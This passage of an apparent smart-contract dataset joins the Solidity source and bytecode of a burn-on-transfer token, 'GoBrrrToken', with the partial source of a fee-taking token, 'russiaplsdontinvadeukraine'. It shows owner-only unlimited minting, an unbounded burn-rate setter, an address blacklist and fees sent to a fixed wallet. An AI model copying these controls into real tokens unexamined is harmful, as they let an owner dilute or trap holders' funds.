function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GoBrrrToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
string private constant _name = "Go BRRR";
string private constant _symbol = "BRRR";
uint256 private constant _decimals = 18;
uint256 private _totalSupply = 111 * (uint256(10) ** _decimals);
uint256 public transBurnrate = 3;//0.03%
constructor() public {
_owner = msg.sender;
// Initially assign all tokens to the contract's creator.
_balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256)
{
return _balanceOf[account];
}
function transfer(address to, uint256 value) public validRecipient(to) virtual override returns (bool)
{
require(_balanceOf[msg.sender] >= value);
uint256 remainrate = 10000;
remainrate = remainrate.sub(transBurnrate); //99.97%->99.97/10000
uint256 leftvalue = value.mul(remainrate);
leftvalue = leftvalue.sub(leftvalue.mod(10000));
leftvalue = leftvalue.div(10000);
_balanceOf[msg.sender] -= value; // deduct from sender's balance
_balanceOf[to] += leftvalue; // add to recipient's balance
uint256 decayvalue = value.sub(leftvalue); //3%->3/100->value-leftvalue
_totalSupply = _totalSupply.sub(decayvalue);
emit Transfer(msg.sender, address(0x0), decayvalue);
emit Transfer(msg.sender, to, leftvalue);
return true;
}
function transferFrom(address from, address to, uint256 value) public validRecipient(to) virtual override returns (bool)
{
require(value <= _balanceOf[from]);
require(value <= _allowance[from][msg.sender]);
uint256 remainrate = 10000;
remainrate = remainrate.sub(transBurnrate); //99.97%->99.97/10000
uint256 leftvalue = value.mul(remainrate);
leftvalue = leftvalue.sub(leftvalue.mod(10000));
leftvalue = leftvalue.div(10000);
_balanceOf[from] -= value;
_balanceOf[to] += leftvalue;
_allowance[from][msg.sender] -= value;
uint256 decayvalue = value.sub(leftvalue); //0.03%->3/10000->value-leftvalue
_totalSupply = _totalSupply.sub(decayvalue);
emit Transfer(from, address(0x0), decayvalue);
emit Transfer(from, to, leftvalue);
return true;
}
function approve(address spender, uint256 value) public virtual override returns (bool)
{
_allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256)
{
return _allowance[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
uint256 oldValue = _allowance[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowance[msg.sender][spender] = 0;
} else {
_allowance[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function changetransBurnrate(uint256 _transBurnrate) external onlyOwner returns (bool) {
transBurnrate = _transBurnrate;
return true;
}
function mint(address account, uint256 amount) public onlyOwner {
require(account != address(0));
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balanceOf[account] = _balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063a9059cbb11610071578063a9059cbb14610535578063b2bdfa7b14610599578063dd62ed3e146105cd578063f2fde38b14610645578063f80a598d1461068957610116565b80638da5cb5b146103d657806395d89b411461040a578063a457c2d71461048d578063a66c6425146104f157610116565b8063313ce567116100e9578063313ce567146102a457806339509351146102c257806340c10f191461032657806370a0823114610374578063715018a6146103cc57610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020257806323b872dd14610220575b600080fd5b6101236106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e4565b60405180821515815260200191505060405180910390f35b61020a6107d6565b6040518082815260200191505060405180910390f35b61028c6004803603606081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e0565b60405180821515815260200191505060405180910390f35b6102ac610bd0565b6040518082815260200191505060405180910390f35b61030e600480360360408110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103726004803603604081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd5565b005b6103b66004803603602081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff6565b6040518082815260200191505060405180910390f35b6103d461103f565b005b6103de6111be565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104126111e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610452578082015181840152602081019050610437565b50505050905090810190601f16801561047f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d9600480360360408110156104a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611224565b60405180821515815260200191505060405180910390f35b61051d6004803603602081101561050757600080fd5b81019080803590602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b6105816004803603604081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611587565b60405180821515815260200191505060405180910390f35b6105a1611863565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062f600480360360408110156105e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611887565b6040518082815260200191505060405180910390f35b6106876004803603602081101561065b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061190e565b005b610691611b12565b6040518082815260200191505060405180910390f35b60606040518060400160405280600781526020017f476f204252525200000000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561081d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561085657600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156108a257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561092b57600080fd5b6000612710905061094760045482611b1890919063ffffffff16565b9050600061095e8286611b3890919063ffffffff16565b905061098761097861271083611b7290919063ffffffff16565b82611b1890919063ffffffff16565b905061099e61271082611b9390919063ffffffff16565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506000610ad98287611b1890919063ffffffff16565b9050610af081600354611b1890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019450505050509392505050565b60006012905090565b6000610c6a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b610edc60008383611bd8565b610ef181600354611bb990919063ffffffff16565b600381905550610f4981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4252525200000000000000000000000000000000000000000000000000000000815250905090565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310611334576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c8565b6113478382611b1890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611577576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8160048190555060019050919050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115c457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115fd57600080fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561164957600080fd5b6000612710905061166560045482611b1890919063ffffffff16565b9050600061167c8286611b3890919063ffffffff16565b90506116a561169661271083611b7290919063ffffffff16565b82611b1890919063ffffffff16565b90506116bc61271082611b9390919063ffffffff16565b905084600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600061176d8287611b1890919063ffffffff16565b905061178481600354611b1890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611bde6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611b2757600080fd5b600082840390508091505092915050565b600080831415611b4b5760009050611b6c565b6000828402905082848281611b5c57fe5b0414611b6757600080fd5b809150505b92915050565b600080821415611b8157600080fd5b818381611b8a57fe5b06905092915050565b6000808211611ba157600080fd5b6000828481611bac57fe5b0490508091505092915050565b600080828401905083811015611bce57600080fd5b8091505092915050565b50505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212203206990cf964853c16a682484f77f9482742cff9a1ee206b5f0c4d7ca972ed0e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,277 |
0x484e4f1d3a34d47c6b7991c9d38a075f4e0cf340
|
/**
*Submitted for verification at Etherscan.io on 2022-02-15
*/
/**
██████╗ ██╗ ██╗███████╗███████╗ █████╗ ██████╗ ██╗ ███████╗██████╗ ██████╗ ███╗ ██╗████████╗██╗███╗ ██╗██╗ ██╗ █████╗ ██╗██████╗ ██╗ ██╗██╗ ██╗██████╗ █████╗ ██╗███╗ ██╗███████╗
██╔══██╗██║ ██║██╔════╝██╔════╝██╔══██╗██╔══██╗██║ ██╔════╝██╔══██╗██╔═══██╗████╗ ██║╚══██╔══╝██║████╗ ██║██║ ██║██╔══██╗██║██╔══██╗██║ ██║██║ ██╔╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██████╔╝██║ ██║███████╗███████╗███████║██████╔╝██║ ███████╗██║ ██║██║ ██║██╔██╗ ██║ ██║ ██║██╔██╗ ██║██║ ██║███████║██║██║ ██║██║ ██║█████╔╝ ██████╔╝███████║██║██╔██╗ ██║█████╗
██╔══██╗██║ ██║╚════██║╚════██║██╔══██║██╔═══╝ ██║ ╚════██║██║ ██║██║ ██║██║╚██╗██║ ██║ ██║██║╚██╗██║╚██╗ ██╔╝██╔══██║██║██║ ██║██║ ██║██╔═██╗ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝
██║ ██║╚██████╔╝███████║███████║██║ ██║██║ ███████╗███████║██████╔╝╚██████╔╝██║ ╚████║ ██║ ██║██║ ╚████║ ╚████╔╝ ██║ ██║██║██████╔╝╚██████╔╝██║ ██╗██║ ██║██║ ██║██║██║ ╚████║███████╗
╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═══╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
Telegram:
https://t.me/russiaplsdontinvadeukraine
Website:
https://russiaplsdontinvadeukrain.com/
Twitter:
https://russiaplsdontinvadeukraine.com/
Powered by:
https://t.me/DegenLP
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract russiaplsdontinvadeukraine is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "russiaplsdontinvadeukraine";
string private constant _symbol = "RPDIU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public _isExcludedMaxTxAmount;
mapping(address => bool) private _isExcludedFromReflection;
address[] private _excludedFromReflection;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 1e9 * 1e9; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
uint256 private _reflectionFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 10;
uint256 private _reflectionFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
address payable public _RPDIUAddress = payable(0x5438b81EA57885db790ed8689349f4e777A15832);
address payable public _mktgAddress = payable(0x5438b81EA57885db790ed8689349f4e777A15832);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool public tradingActive = false;
uint256 public _maxTxAmount = 3000 * 1e7 * 1e9;
uint256 public _maxWalletSize = 3000 * 1e7 * 1e9;
uint256 public _swapTokensAtAmount = 5000 * 1e6 * 1e9;
event ExcludeFromReflection(address excludedAddress);
event IncludeInReflection(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event UpdatedMktgAddress(address mktg);
event UpdatedRPDIUAddress(address RPDIU);
event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee);
event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_RPDIUAddress] = true;
_isExcludedFromFee[_mktgAddress] = true;
excludeFromMaxTxAmount(owner(), true);
excludeFromMaxTxAmount(address(this), true);
excludeFromMaxTxAmount(address(_RPDIUAddress), true);
excludeFromMaxTxAmount(address(_mktgAddress), true);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function excludeFromReflection(address account) public onlyOwner {
require(!_isExcludedFromReflection[account], "Account is already excluded");
require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReflection[account] = true;
_excludedFromReflection.push(account);
}
function includeInReflection(address account) public onlyOwner {
require(_isExcludedFromReflection[account], "Account is not excluded from reflection");
for (uint256 i = 0; i < _excludedFromReflection.length; i++) {
if (_excludedFromReflection[i] == account) {
_excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1];
_tOwned[account] = 0;
_isExcludedFromReflection[account] = false;
_excludedFromReflection.pop();
break;
}
}
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingActive)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_RPDIUAddress.transfer(amount.div(2));
_mktgAddress.transfer(amount.div(2));
}
function manualSwap() external {
require(_msgSender() == _RPDIUAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _RPDIUAddress || _msgSender() == _mktgAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
